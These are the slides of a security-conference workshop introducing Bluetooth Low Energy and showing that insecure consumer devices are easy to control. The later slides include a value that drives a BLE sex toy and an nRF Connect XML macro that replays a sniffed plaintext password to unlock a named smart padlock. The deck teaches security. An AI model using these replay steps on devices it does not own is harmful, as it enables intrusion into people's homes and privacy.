

• Maison de la Chimie 9THEDITION hackinparis.com

SMARTLOCKPICKING.COM



Sławomir Jasek

slawomir.jasek@smartlockpicking.com @slawekja

A 45min introduction to Bluetooth Low Energy

Workshop

HackInParis, 19-20.06.2019





Sławomir <suavomeer> Jasek <yaseck>

Enjoy appsec (dev, break, build...) since 2003.

"Smart lockpicking" trainings www.smartlockpicking.com

Significant part of time for research.







How much can we fit in 45 min?

Bluetooth Low Energy – intro.

BLE advertisements, services, characteristics – detecting and interacting with nearby devices.

"Hacking" into wide-open devices (dildo, smart locks, ...).

Developing own BLE device.

Flashing the BLE devkit with a different firmware for sniffing, attacking, ...





Bluetooth Low Energy

AKA Bluetooth 4, Bluetooth Smart

One of most exploding recently IoT technologies.

Completely different than previous Bluetooth 2, 3 (BR/EDR).

Designed from the ground up for low energy usage, simplicity (rather than throughput).

And now for something completely different...



www.vitalherd.com

y slawekja







The "Lover Detection System" will not only tell you if your partner is being unfaithful, but the speed, duration, and position of the infidelity.





Smart locks, banking tokens









Fuze card: emulates magnetic stripe credit cards

THE AFFORDABLE SMART CARD THAT CONSOLIDATES YOUR ENTIRE WALLET.

YOUR WHOLE WALLET IN ONE CARD

https://fuzecard.com/





2-factor authentication







Bluetooth Low Energy – bright future of IoT?

Easy to deploy, available, convenient, low-priced. More and more devices – "wearables", medical, smart home... Beacons, indoor positioning Physical web Bluetooth Mesh Web bluetooth – devices available from the browser (javascript) Bluetooth 5 – longer range, higher throughput, ...





BLE ADVERTISEMENTS





BLE broadcast -> receive



advertisement

Public, by design available for all in

range

(with exception of targeted advertisements, not widely used in practice)





Your custom BLE device

A very simple device to interact, read/write, blink LEDs...

Name "smartlockpickingXX" – unique per device (number at the back).







Connect your device to power

Connect USB cable to your laptop or the external power adapter.

It will blink LED0 every second.







nRF Connect mobile application

Android:



https://play.google.com/store/apps/details?id=no.nordicsemi.android.mcp

iOS:

https://itunes.apple.com/us/app/nrf-connect/id1054362403





The app permissions

Android requires the location permissions for BLE.

The app also stores some data on /sdcard.







Your device in nRF Connect

After turning on the application scans for nearby BLE devices.

Scanning stops after a while, may be needed to press again.

Your device number "smartlockpickingXX"







Too many devices? Filter!





	N N		* @ ▼	1 🖹 🖻 1	2:01
	≡ Devi	ces		SCAN	÷
	SCANNER	BONDED	ADVERTISER		
	03, -74 dBm			*	×
	8 smartlo C2:E4:4/ NOT BOI	ockpicking03 A:9B:5A:54 NDED 43-43	C dBm ↔3002 n	ONNECT	:
	/				
Or de	nly match vices sho	ning own			
		Wireless b	v Nordic		





Your device advertisement in nRF

🖬 N 🛛 🗱 🗘	💎 🖹 📓 12:01	N N	* 🕩 💎 🖹 🖬 12:1	0 🛛 🗠 N	\$ 🕩 💎 🖹 🖬 12:10
≡ Devices	SCAN :	≡ Devices	SCAN :	📃 📃 Dev	ices SCAN :
SCANNER BONDED ADVERTISE	ER	SCANNER BONDED	ADVERTISER	SCANNER	
03, -74 dBm	• ×	03, -74 dBm	- ×	03, -74 dBm	- ×
<pre>smartlockpicking03 C2:E4:4A:9B:5A:54 NOT BONDED ▲-43 dBm ↔ 3003 Tap device name (not "connect")</pre>	CONNECT : 2 ms	Smartlockpicking03 C2:E4:4A:9B:5A:54 NOT BONDED 4-43 d Device type: LE only Advertising type: Legacy Flags: BrEdrNotSupported Complete Local Name: smart	CONNECT Bm ↔ 3002 ms artlockpicking03 CLONE RAW MORE	Raw data: 0x02010 B696E67 Details: LEN. TYP 2 0x01 19 0x09	41309736D6172746C6F636B7069636
	d	Advertisement letails explained	Ge	t "raw" adve data	of EIR packet (Type + Data) in bytes, ta type as in https://www.bluetooth.org/en-us h/assigned-numbers/generic-access-profile ertisement ок





Raw advertisement packet

■ DevicesSCAN•SCANNERBONDEDADVERTISER03, -74 dBm••●smartlockpicking03 C2:E4:4A:9B:5A:54 NOT BONDED•●••NOT BONDED•●•●•●•●•●•●•●•●•●•●•●•●•●•●•●•●•●● <th></th> <th></th> <th></th> <th>*</th> <th>\odot</th> <th>R 🔒 1</th> <th>2:10</th>				*	\odot	R 🔒 1	2:10
SCANNERBONDEDADVERTISER03, -74 dBm~~✓Smartlockpicking03 C2:E4:4A:9B:5A:54 NOT BONDEDCONNECTIDevice type: LE only Advertising type: Legacy Flags: BrEdrNotSupported Complete Local Name: smartlockpicking03✓	≡	Devic	es		:	SCAN	:
03, -74 dBm ✓ ✓ Image: Signal constraints Image: Constraints Image: Constraints Image: Signal constraints Image: Signal constraints Image: Signal constraints Image: Signal constraints Image: Signal constraints Image: Signal constraints Image: Signal constraints Image: Signal constraints Image: Signal constraints Image: Signal constraints Image: Signal constraints Image: Signal constraints Image: Signal constraints Image: Signal constraints Image: Signal constraints Image: Signal constraints Image: Signal constraints Image: Signal constraints Image: Signa constraints Image: Signal cons	SCA	NNER	BONDED	ADVER	TISER		
Smartlockpicking03 C2:E4:4A:9B:5A:54 NOT BONDED ▲-43 dBm ↔ 3002 ms Device type: LE only Advertising type: Legacy Flags: BrEdrNotSupported Complete Local Name: smartlockpicking03 CLONE RAW MORE	03, -7	4 dBm				~	\times
Device type: LE only Advertising type: Legacy Flags: BrEdrNotSupported Complete Local Name: smartlockpicking03 CLONE RAW MORE	8	smartlo C2:E4:4A NOT BON	ckpicking03 :9B:5A:54 IDED -43	dBm ↔	CO 3002 ms	NNECT	:
CLONE RAW MORE		Device ty Advertisi Flags: Br l Complete	pe: LE only ng type: Legacy EdrNotSupported e Local Name: sn	1 nartlockpi	cking03		
				CLONE	RAW	мо	RE

E N			∦ սի ♦	10. 10	12:10
≡	Devio	ces		SCAN	
SCANN	IER		ADVERTISER		
03, -74 c	lBm			Ŧ	×
Raw o 0x0 B69	lata: 201041 6E673	1309736D61727 033	746C6F636B7069	636	
Detail	S:				
LEN.	TYPE	VALUE			
2	0x01	0x04			
19	0x09	0x736D617274 673033	I6C6F636B706963	36B696	E
LEN TYPE - /speci	length o the data fication/	f EIR packet (Type a type as in <u>https:/</u> assigned-number	+ Data) in bytes, /www.bluetooth.org/ s/generic-access-pro	en-us ofile	





Advertisement data – Bluetooth GAP specification

Working Groups

HACK IN PARIS

Core Specifications

Mesh Networking Specifications

9TH EDITION

Traditional Profile Specifications

Protocol Specifications

GATT Specifications

Errata Service Releases

Qualification Test Requirements

Assigned Numbers

16 Bit UUIDs For Members
16 Bit UUIDs for SDOs
Amp Manager Protocol
Acronyms and Specification Names
Audio/Video
Baseband
Company Identifiers
Environmental Sensing Service Characteristics

Format Types

GATT Namespace Descriptors

Generic Access Profile

Generic Attribute Profile Hands Free Profile

Generic Access Profile

Assigned numbers are used in GAP for inquiry response, EIR data type values, manufacturer-specific data, advertising data, low energy UUIDs and appearance characteristics, and class of device.

EIR Data Type, Advertising Data Type (AD Type) and OOB Data Type Definitions

	Data Type Value	Data Type Name	Reference for Definition
ts	0×01	«Flags»	Bluetooth Core Specification:Vol. 3, Part C, section 8.1.3 (v2.1 + EDR, 3.0 + HS and 4.0)Vol. 3, Part C, sections 11.1.3 and 18.1 (v4.0)Core Specification Supplement, Part A, section 1.3
	0×02	«Incomplete List of 16-bit Service Class UUIDs»	Bluetooth Core Specification:Vol. 3, Part C, section 8.1.1 (v2.1 + EDR, 3.0 + HS and 4.0)Vol. 3, Part C, sections 11.1.1 and 18.2 (v4.0)Core Specification Supplement, Part A, section 1.1
	0×03	«Complete List of 16-bit Service Class UUIDs»	Bluetooth Core Specification:Vol. 3, Part C, section 8.1.1 (v2.1 + EDR, 3.0 + HS and 4.0)Vol. 3, Part C, sections 11.1.1 and 18.2 (v4.0)Core Specification Supplement, Part A, section 1.1
	0×04	«Incomplete List of 32- bit Service Class UUIDs»	Bluetooth Core Specification:Vol. 3, Part C, section 8.1.1 (v2.1 + EDR, 3.0 + HS and 4.0)Vol. 3, Part C, section 18.2 (v4.0)Core Specification Supplement, Part A, section 1.1
	0×05	«Complete List of 32-bit Service Class UUIDs»	Bluetooth Core Specification:Vol. 3, Part C, section 8.1.1 (v2.1 + EDR, 3.0 + HS and 4.0)Vol. 3, Part C, section 18.2 (v4.0)Core Specification Supplement, Part A, section 1.1
ce	0×06	«Incomplete List of 128- bit Service Class UUIDs»	Bluetooth Core Specification:Vol. 3, Part C, section 8.1.1 (v2.1 + EDR, 3.0 + HS and 4.0)Vol. 3, Part C, sections 11.1.1 and 18.2 (v4.0)Core Specification Supplement, Part A, section 1.1
	0×07	«Complete List of 128-bit Service Class UUIDs»	Bluetooth Core Specification:Vol. 3, Part C, section 8.1.1 (v2.1 + EDR, 3.0 + HS and 4.0)Vol. 3, Part C, sections 11.1.1 and 18.2 (v4.0)Core Specification Supplement, Part A, section 1.1
rs	0×08	«Shortened Local Name»	Bluetooth Core Specification:Vol. 3, Part C, section 8.1.2 (v2.1 + EDR, 3.0 + HS and 4.0)Vol. 3, Part C, sections 11.1.2 and 18.4 (v4.0)Core Specification Supplement, Part A, section 1.2
	0×09	«Complete Local Name»	Bluetooth Core Specification: Vol. 3, Part C, section 8.1.2 (v2.1 + EDR, 3.0 + HS and 4.0) Vol. 3,

https://www.bluetooth.com/specifications/assigned-numbers/generic-access-profile





GAP types – Flags and Complete Local Name

EID Data	Tune Advertising Data Tune (A	D Turne) and OOP Date Turne Definitions	Raw	data:	
Data Type	Data Type Name	Reference for Definition	Oxt B6	020104 96E673	41309736D6172746C6F636B7069636
Value			Deta	ils:	
0×01	«Flags»	Bluetooth Core Specification:Vol. 3, Part C, section 8.1.3 (v2.1 + EDR, 3.0 + HS and 4.0)Vol. 3, Part C, sections 11.1.3 and 18.1 (v4.0)Core Specification Supplement, Part A, section 1.3	LEN.	TYPE	E VALUE
			2	0x01	0x04
			19	0x09	0x736D6172746C6F636B7069636B696E 673033
0×09	«Complete Local Name»	Bluetooth Core Specification:Vol. 3, Part C, section 8.1.2 (v2.1 + EDR, 3.0 + HS and 4.0)Vol. 3, Part C, sections 11.1.2 and 18.4 (v4.0)Core Specification Supplement, Part A, section 1.2	LEN. TYPE /spec	- length - the da	of EIR packet (Type + Data) in bytes, ta type as in https://www.bluetooth.org/en-us n/assigned-numbers/generic-access-profile





Complete local name 0x09







Other advertisements

The "smartlockpicking" device can broadcast several different advertisements (including beacons).

Press the "KEY1" button to switch the advertisement type.







Advertise as iBeacon

9[™]EDITION

HACK IN PARIS

Cyber Security Conference

N			*	\odot	2 5	12:32
=	Devio	es	STO	P SCAN	NING	÷
SCA	NNER	BONDED	ADVER	TISER		
03					-	\times
	iBeacor C2:E4:4A NOT BON Device ty Advertisi Flags: Br Beacon: Company Type: Bea Length o UUID: e20 Major: 1 Minor: 3 RSSI at 1 Complete	103 (iBeacon) :9B:5A:54 IDED	dBm ↔ d 004C> 4-a12f-17c eacon03 CLONE	CON N/A d1ad07a9	961 MC	E

II. N			∦ս⊡⊧ 💎 ۱	12:32
≡	Devi	ces	STOP SCAN	NING
SCANN	IER			
03				- ×
Raw of OxO A12 616	data: 20104 ⁻ 2F17D1 36F6E	IAFF4C000215E AD07A96100010 3033	20A39F473F54BC4 0003C80A0969426	↓ 5 □
LEN.	TYPE	VALUE		
2	0x01	0x04		
26	0xFF	0x4C000215E2 D1AD07A96100	0A39F473F54BC4A 0010003C8	12F17
10	0x09	0x6942656163	6F6E3033	
LEN TYPE - /speci	length o the data fication/	f EIR packet (Type a type as in <u>https://</u> /assigned-numbers	+ Data) in bytes, www.bluetooth.org/en /generic-access-profil	<u>-US</u> e





Apple iBeacon

Transmits values:

- UUID – specific to vendor or setup

Beacon:

Company: Apple, Inc. <0x004C> Type: Beacon <0x02> Length of data: 21 bytes UUID: e20a39f4-73f5-4bc4-a12f-17d1ad07a961 Major: 1 Minor: 3 RSSI at 1m: -56 dBm

- Major, minor (0-65535) – "group" and individual address

By the way, iOS13 introduces "find my device" via BLE beacon crowdsource tracking:

<u>https://www.wired.com/story/apple-find-my-cryptography-bluetooth/</u>





Press KEY1 button again – various advertisements

🚨 🔍 🖹 🕷 🕄 🚨 8:21	🖬 🔍 🖹 🖁 8:21	🖬 🕥 🕺 🕷 🗓 8:21	🚨 🔍 🖹 🕷 🕄 🕄 🕄
\equiv Devices STOP SCANNING :	\equiv Devices STOP SCANNING :	E Devices STOP SCANNING	\equiv Devices STOP SCANNING :
SCANNER BONDED ADVERTISER	SCANNER BONDED ADVERTISER	SCANNER BONDED ADVERTISER	SCANNER BONDED ADVERTISER
66 ~ ×	66 - ×	66 ~ ×	66 - ×
<pre> iBeacon66 (iBeacon) EC:10:74:64:B9:12 NOT BONDED ▲-52 dBm ↔ 1006 ms Device type: LE only Advertising type: Legacy Flags: BrEdrNotSupported Beacon: Company: Apple, Inc. <0x004C> Type: Beacon <0x02> Length of data: 21 bytes UUID: e20a39f4-73f5-4bc4-a12f-17d1ad07a961 Major: 1 Minor: 102 RSSI at 1m: -56 dBm Complete Local Name: iBeacon66</pre>	Image: New Sector 10: 10: 10: 10: 10: 10: 10: 10: 10: 10:	<pre>eddystone66 (Physical Web Be EC:10:74:64:B9:12 NOT BONDED ▲-50 dBm ↔ N/A Device type: LE only Advertising type: Legacy Flags: BrEdrNotSupported Complete list of 16-bit Service UUIDs: 0xFEAA Eddystone URL: Frame type: URL <0x10> Tx power at 0m: -8 dBm URL: https://smartlockpicking.com Complete Local Name: eddystone66 OPEN CLONE RAW MORE</pre>	Smartlockpicking66 EC:10:74:64:B9:12 NOT BONDED ▲-56 dBm ↔ 1002 ms Device type: LE only Advertising type: Legacy Flags: BrEdrNotSupported Complete Local Name: smartlockpicking66 CLONE RAW MORE

CLONE RAW MORE





Unintended consequences of advertisements...



https://www.pentestpartners.com/security-blog/screwdrivinglocating-and-exploiting-smart-adult-toys/

https://internetofdon.gs/





"Screwdriving"

Devices just announce their name.

You don't need any tools to see it.









"Screwdriving"

List of the sex toys Bluetooth names:

https://github.com/internetofdongs/IoD-

Screwdriver/blob/master/Device_List.txt

We'll get back to these devices later.

Vendor	Device Name	Ble Name
We-Vibe	We-Vibe 4 Plus	cougar
We-Vibe	We-Vibe 4 Plus	4plus
We-Vibe	Bloom by We-Vibe	bloom
We-Vibe	We-Vibe Classic	classic
We-Vibe	Ditto by We-Vibe	ditto
We-Vibe	Gala by We-Vibe	gala
We-Vibe	Jive by We-Vibe	jive
We-Vibe	Nova by We-Vibe	nova
We-Vibe	Nova by We-Vibe	NOVAV2
We-Vibe	Pivot by We-Vibe	pivot
We-Vibe	Rave by We-Vibe	rave
We-Vibe	We-Vibe Sync	sync
We-Vibe	Verge by We-Vibe	verge
We-Vibe	Wish by We-Vibe	wish
Vibratissimo	Pantybuster	Vibratissimo
Vibease	Vibease	Vibease##
PicoBong	Blow hole	Blow hole
PicoBong	Blow hole	Picobong Male Toy







BLE SERVICES





BLE central <-> peripheral







Services, characteristics, ...

Service – groups several characteristics

Characteristic – contains a single value

Descriptor – additional data

Properties – read/write/notify...

Value – actual value







Services in nRF Connect

0		* 💎 🖌	1 🔿 22:13		
🗏 Devic	es	S	CAN :		
SCANNER	BONDED	ADVERTISER			1
filter			Ŧ	/	
Smartloo D0:C9:2E: NOT BON	ckpicking01 :63:50:B3 IDED -64	CON dBm ↔979 ms	INECT		
Device typ Flags: BrE Shortenee	pe: LE only EdrNotSupported d Local Name: si	1 martlockpicking0	1		
	С	LONE RAW	MORE		servic



SERVICE, eg. 0x180F - battery

SERVICE
(...)

Wireless by Nordic





UUIDs

Services, characteristics, descriptors have 2 forms of ID:

- Typical services (e.g. battery level, device information) use short UUID values defined in the Bluetooth specification
- 16-byte UUID format for proprietary, vendor-specific ones





Typical service IDs defined by Bluetooth SIG

GATT Services

Services are collections of characteristics and relationships to other services that encapsulate the behavior of part of a device.

All Service Assigned Numbers values on this page are normative. All other materials contained on this page is informative only. Authoritative compliance information is contained in the applicable *Bluetooth*[®] specification.

Name	Uniform Type Identifier	Assigned Number	Specification
Alert Notification Service	org.bluetooth.service.alert_notification	0x1811	GSS
Automation IO	org.bluetooth.service.automation_io	0x1815	GSS
Battery Service	org.bluetooth.service.battery_service	0x180F	GSS
Blood Pressure	org.bluetooth.service.blood_pressure	0x1810	GSS
Body Composition	org.bluetooth.service.body_composition	0x181B	GSS
Bond Management Service	org.bluetooth.service.bond_management	0x181E	GSS
Continuous Glucose Monitoring	org.bluetooth.service.continuous_glucose_monitoring	0x181F	GSS
Current Time Service	org.bluetooth.service.current_time	0x1805	GSS
Cycling Power	org.bluetooth.service.cycling_power	0x1818	GSS
Cycling Speed and Cadence	org.bluetooth.service.cycling_speed_and_cadence	0x1816	GSS
Device Information	org.bluetooth.service.device_information	0x180A	GSS
Environmental Sensing	org.bluetooth.service.environmental_sensing	0x181A	GSS
Fitness Machine	org.bluetooth.service.fitness_machine	0x1826	GSS
Generic Access	org.bluetooth.service.generic_access	0x1800	GSS
Generic Attribute	org.bluetooth.service.generic_attribute	0x1801	GSS

Provide interoperability – consistent way to check e.g. battery state or heart rate among various devices.

https://www.bluetooth.com/specifications/gatt/services




Device characteristics (in service)



SERVICE, eg. 0x180F - batterv Characteristic Properties: read, write, notify (authenticated or not) Characteristic SERVICE (...)





Reading, writing, notifications

Each characteristic has properties: read/write/notify

Can be combined (e.g. read+notify, read+write, ...)

Read/write – transmit single value





Read characteristic in nRF Connect

Devices DISCONNECT BONDED ADVERTISER SMARTLOPICKING07 CONNECTED NOT BONDED CLIENT SERVER	Our LED switching service with 2 characteristics	Image: Smartlopicking07 Image: Smartlo
UUID: 0x180D PRIMARY SERVICE		UUID: 0x180D PRIMARY SERVICE
Nordic UART Service UUID: 6e400001-b5a3-f393-e0a9-e50e24dcca9e PRIMARY SERVICE	Read value	Nordic UART Service UUID: 6e400001-b5a3-f393-e0a9-e50e24dcca9e PRIMARY SERVICE
Unknown Service UUID: a700cc65-e486-40ba-5d24-99601dc38fd7 PRIMARY SERVICE		Unknown Service UUID: a700cc65-e486-40ba-5d24-99601dc38fd7 PRIMARY SERVICE
Unknown Characteristic UUID: a701cc65-e486-40ba-5d24-99601dc38fd7 Properties: READ, WRITE Descriptors: Characteristic User Description		Unknown Characteristic UUID: a701cc65-e486-40ba-5d24-99601dc38fd7 Properties: READ, WRITE Value: (0x) 00 Descriptors:
	I his value in o	Characteristic User Description
UUID: a702cc65-e486-40ba-5d24-99601dc38fd7 Properties: READ, WRITE	device: current	LED Unknown Characteristic UUID: a702cc65-e486-40ba-5d24-99601dc38fd7 Properties: READ WRITE
Unknown Service UUID: a800cc65-e486-40ba-5d24-99601dc38fd7 PRIMARY SERVICE	status	Unknown Service UUID: a800cc65-e486-40ba-5d24-99601dc38fd7 PRIMARY SERVICE





Write to characteristic in nRF Connect

			՝ ★ 🔽 📋 10:32
BONDED ADVERTISER SMARTLOPICKING03 X			DISCONNECT
CONNECTED CLIENT SERVER NOT BONDED PRIMARY SERVICE Image: Service	01: turns on the	^{BO} Write value	NEW LOAD
Unknown Service UUID: a700cc65-e486-40ba-5d24-99601dc38fd7 PRIMARY SERVICE		0× 01	BYTE
Unknown Characteristic UUID: a701cc65- e486-40ba-5d24-99601dc38fd7		P ADD VALUE	
Properties: READ, WRITE Descriptors: Characteristic User Description UUID: 0x2901	write	U Save as	
Unknown Characteristic		Advanced	~
e486-40ba-5d24-99601dc38fd7 Properties: READ, WRITE		P SAVE	CANCEL SEND
Unknown Service UUID: a800cc65-e486-40ba-5d24-99601dc38fd7 PRIMARY SERVICE		Unknown Service UUID: 0000a000-0000-1000-8 PRIMARY SERVICE	3000-00805f9b34fb
=			
Wireless by Nordic			





Notifications

- Getting more data or receiving periodic updates from a device
- The central device subscribes for a specific characteristic, and the peripheral device sends data asynchronously
- Indication = notification with confirmation





Heart rate monitor notifications

• *	💎 🖹 🔒 4:49	■ ● ▷ *	💎 🖹 🔒 4:49		* 💎 🖹 🔒 4:49
	ст 🕅 :		ст (т) :	Devices	DISCONNECT 💮 🗄
BONDED ADVERTISER SMARTLOP C2:E4:4A:9B:5A	ICKING07 X	BONDED ADVERTISER SMARTLOF		BONDED ADVERTISER	SMARTLOPICKING07 X
CONNECTED CLIENT SE	ERVER :	Subscribe DED CLIENT S	ERVER :	Automatically	IENT SERVER
Heart Rate UUID: 0x180D PRIMARY SERVICE	/	notifications PRIMARY SERVICE		updated every	
Heart Rate Measurement UUID: 0x2A37 Properties: NOTIFY, READ Descriptors:	<u>+</u> <u>+</u>	Heart Rate Measurement UUID: 0x2A37 Properties: NOTIFY, READ Value: Heart Rate Measurement: 132 bpm.	. ₩ ₩	UUID: 0x2A37 Properties: NOTIFY, READ Value: Heart Rate Measureme	. <u>↓</u> ⊗ ent: 138 bpm.
Client Characteristic Configuration UUID: 0x2902	+	Sensor Contact Not Supported Descriptors: Client Characteristic Configuration		Sensor Contact Not Supported Descriptors: Client Characteristic Configura	dation
UUID: 0x2A38 Properties: READ	<u> </u>	Value: Notifications enabled	•	Value UUID: 0x2902 Value: Notifications enabled	
Heart Rate Control Point UUID: 0x2A39	<u>+</u>	UUID: 0x2A38 Properties: READ		UUID: 0x2A38 Properties: READ	<u> </u>
Nordic UART Service UUID: 6e400001-b5a3-f393-e0a9-e50e24dcca PRIMARY SERVICE	9e	Heart Rate Control Point UUID: 0x2A39 Properties: WRITE	<u>+</u>	Heart Rate Control Point UUID: 0x2A39 Properties: WRITE	<u>+</u>
Unknown Service UUID: a700cc65-e486-40ba-5d24-99601dc38f PRIMARY SERVICE	d7 🛼	Nordic UART Service UUID: 6e400001-b5a3-f393-e0a9-e50e24dcca PRIMARY SERVICE	^{19e}	Nordic UART Service UUID: 6e400001-b5a3-f393-e0a9 PRIMARY SERVICE	9-e50e24dcca9e





Macros functionality

Replay functionality - simple XML file with service, characteristic + value to read/write.

nRF Connect: macros documentation:

<u>https://github.com/NordicSemiconductor/Android-nRF-</u> <u>Connect/tree/master/documentation/Macros</u>

Note: not available on iOS at the moment, only Android















LET'S "ATTACK" REAL DEVICES!

y slawekja





BLE Dildo







Let's "attack" a BLE dildo!

				* 🛛 🕯	5:35
≡	Device	S	S	STOP SCANNING	:
SCA	NNER	BONDED	٨D٧	ERTISER	
No fil	ter				-
8	smartlocl CC:22:85:9 NOT BOND	kpicking66 D:A3:52 ED ▲-53	3 dBm	CONNEC ⇔986 ms	τ:
8	LockECFE EC:FE:7E:1 NOT BOND	E7E139F95 3:9F:95 ED ▲ -88	3 dBm	CONNEC ↔ 1010 ms	τ:
8	REALOV_ 38:D2:69:E NOT BOND	VIBE 5:23:B1 ED ▲ -49	9 dBm	CONNEC ⇔310 ms	τ :

 \sim

•		* 🛯 🗎 :	5:35
\equiv Devices		DISCONNECT	:
R BONDED	ADVERTISER	REALOV_VIBE 38:D2:69:E5:23:B1	×
CONNECTED NOT BONDED	CLIENT	SERVER	:
Generic Access UUID: 0x1800 PRIMARY SERVICE			
Generic Attribute UUID: 0x1801 PRIMARY SERVICE			
Device Information UUID: 0x180A PRIMARY SERVICE			
Unknown Service UUID: 0000fff0-0000-1 PRIMARY SERVICE	1000-8000-00805	f9b34fb	
Unknown Service UUID: 0000ffe0-0000- PRIMARY SERVICE	1000-8000-00805	f9b34fb	
Battery Service UUID: 0x180F PRIMARY SERVICE			

-			* 🛛 🗎	5:41			
≡	Devices		DISCONNECT	÷			
R	BONDED	ADVERTISER	REALOV_VIBE 38:D2:69:E5:23:B1	×			
CONN NOT E	BONDED	CLIENT	SERVER	•			
Devia UUID: PRIM	ce Information 0x180A ARY SERVICE	1					
Unknown Service UUID: 0000fff0-0000-1000-8000-00805f9b34fb PRIMARY SERVICE							
Unkn UUID:	own Service 0000ffe0-0000	-1000-8000-00805	5f9b34fb				
PRIM. UN UU Pro	ARY SERVICE known Charac ID: 0000ffe1-00 operties: NOTIFY	c teristic 00-1000-8000-008 /, WRITE	€05f9b34fb	111			
Clie	scriptors: ent Characterist ID: 0x2902	ic Configuration		+			
Cha UU	aracteristic User ID: 0x2901	Description	<u>+</u>	<u>+</u>			
Batte UUID: PRIM	ery Service 0x180F ARY SERVICE						

HACK IN PARIS
 Gymetric Cyber Security Conference
 Maison de la chimie
 Gymetric Cyber Security Conference
 hackinparis.com

SMARTLOCKPICKING.COM



		* 🕱 🗎 :	5:41	
≡ Devic	es	DISCONNECT	:	c555ffa
R BONDE	D ADVERTISER	REALOV_VIBE 38:D2:69:E5:23:B1	×	c5550
CONNECTED NOT BONDED	CLIENT	SERVER	:	
Device Inform UUID: 0x180A PRIMARY SERV	ation			
Unknown Serv UUID: 0000fff0 PRIMARY SERV	/ice 0000-1000-8000-00805 ICE	5f9b34fb		
Unknown Serv	vice -0000-1000-8000-0080	5f9b34fb		
Unknown C UUID: 0000ff Properties: N	h aracteristic e1-0000-1000-8000-008 OTIFY, WRITE	305f9b34fb	111	
Descriptors: Client Charac UUID: 0x2902	teristic Configuration		+	
Characteristi	c User Description	<u>+</u>	<u>+</u>	

a =)0a	= vibr aa = o	ate ff								
							×		5:43	
	= n	ovice				D	ISCO	NNECT	-	
ED	Writ	e va	lue			NEW	L	DAD		
ER	^{0x} c55	5ffaa				BYTE		•		
C N	ADD	VALU	E							
D	Sav	e as								
P	Adva	nced						~		
U P	SAVE					CANCE	EL.	SEND		
U	UID: 0000)ffe0-0	000-10)00-80	00-00	805f9b3	34fb			
1	2	3	Δ	5	6	7	8	q	0	





How did I know what to write?

I have sniffed it before. We will not cover it today (see references). Example options:

- Mobile app analysis
- HCI dump on Android phone turn on in developer options, dump your own packets to pcap, open in Wireshark
- RF sniffer
 - Ubertooth
 - nRF Sniffer, BtleJack works on the same BLE400 (nRF51822)





Note

We can also just download the official app and use it...







"Hacking" the simplest BLE devices

There is no authentication/pairing required.

Attack really simple, no skills required, using just a phone.

Unfortunately LOTS of devices insecure!





Smart lock #1 – auth password in plain text, replay

>>> Vulnerable Devices

- * Plain Text Password
 - Quicklock Doorlock & Padlock v1.5 🗐 🔒
 - iBluLock Padlock v1.9 🔒
 - Plantraco Phantomlock v1.6 A
- * Replay Attack
 - Ceomate Bluetooth Smart Doorlock v2.0.1 🗐
 - Elecycle EL797 & EL797G Smart Padlock v1.8 🔒
 - Vians Bluetooth Smart Doorlock v1.1.1 🗐
 - Lagute Sciener Smart Doorlock v3.3.0









[15/44]





Sniff password (Ubertooth, nRF Sniffer, BtleJack...)

<u>File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help</u>	
◢ ■ 2 ③ 📮 🖹 🕱 🗳 🧇 🤣 🕼 ୬ 属 🗐 🗗 🗆 4 🏋	
Apply a display filter <ctrl-></ctrl->	
Interface Device All advertising devices Passkey / OOB key	Adv Hop
No. Time Source Destination Length Value	Info
6.17 Slave_0x3a715 Master_0x3a 31 6.47 Master_0x3a71 Slave_0x3a7 33 6.47 Slave_0x3a715 Master_0x3a7 32 6.67 Master_0x3a71 Slave_0x3a7 37 6.67 Master_0x3a715 Master_0x3a7 37 6.77 Slave_0x3a715 Master_0x3a7 31 6.87 Master_0x3a71 Slave_0x3a7 33 6.87 Master_0x3a7 33 6.97 Slave_0x3a715 Master_0x3a7 33 6.97 Slave_0x3a715 Master_0x3a7 33 6.97 Slave_0x3a715 Master_0x3a7 38 0012345678 7.27 Slave_0x3a715 Master_0x3a 34 01 1 1 1 1 1 1	Rcvd Write Response, Handle: 0x0046 (Unknown: Unknown) Sent Read Request, Handle: 0x001f (Device Information: Battery Level) Rcvd Read Response, Handle: 0x001f (Device Information: Battery Level) Sent Write Request, Handle: 0x0028 (Device Information: Current Time)[Ma Rcvd Write Response, Handle: 0x0046 (Unknown: Unknown) Sent Read Request, Handle: 0x0046 (Unknown: Unknown) Rcvd Read Response, Handle: 0x0046 (Unknown: Unknown) Rcvd Read Response, Handle: 0x0046 (Unknown: Unknown) Rcvd Handle Value Notification, Handle: 0x0030 (Device Information: Unkr
<pre>> Frame 421: 38 bytes on wire (304 bits), 38 bytes captured (304 bits) on int > Nordic BLE Sniffer > Bluetooth Low Energy Link Layer > Bluetooth L2CAP Protocol > Bluetooth Attribute Protocol > Opcode: Write Request (0x12) > Handle: 0x002d (Device Information: Unknown) Value: 0012345678 [Response in Frame: 426]</pre>	erface 0 text "12345678" password





nRF Connect Macro – replay static pass and unlock

<write description="static pass replay"
service-uuid="0000ffd0-0000-1000-800000805f9b34fb" characteristic-uuid="0000ffd60000-1000-8000-00805f9b34fb"
value="0012345678" />





nRF Connect Macro – replay static pass and unlock

🖸 💿 🛛 🗱 🕐 7:15	🗷 🖸 🎯 🔭 🕷 🕐 7:15	🗷 🖪 💿 🛛 🔧 🖹 📀 7:30	🖬 🗄 💿 🔭 🔭 🔭 7:15
Devices STOP SCANNING			\equiv Devices disconnect :
SCANNER BONDED ADVERTISER	ER BONDED ADVERTISER PADLOCK!	ER BONDED ADVERTISER PADLOCK!	ER BONDED ADVERTISER PADLOCK! X
NOT BONDED \blacksquare -75 dBm \leftrightarrow 501 ms	CONNECTED CLIENT SERVER	CONNECTED CLIENT SERVER	CONNECTED CLIENT SERVER
F6:AD:07:C5:56:66 NOT BONDED ▲-84 dBm ↔ N/A	Generic Access UUID: 0x1800 PRIMARY SERVICE	Generic Attribute UUID: 0x1801 PRIMARY SERVICE	Generic Access UUID: 0x1800 PRIMARY SERVICE
Smartlock CONNECT F0:C7:7F:16:2E:8B NOT BONDED ▲-80 dBm ↔ N/A	Generic Attribute UUID: 0x1801 PRIMARY SERVICE	Device Information UUID: 0x180A DRIMARY SERVICE	Generic Attribute Macros
BO3972C3A81E! CONNECT D0:39:72:C3:A8:1E ▲-61 dBm ↔ 503 ms	Device Information UUID: 0x180A PRIMARY SERVICE	Battery Service UUID: 0x180F PRIMARY SERVICE	quicklock unlock default pass
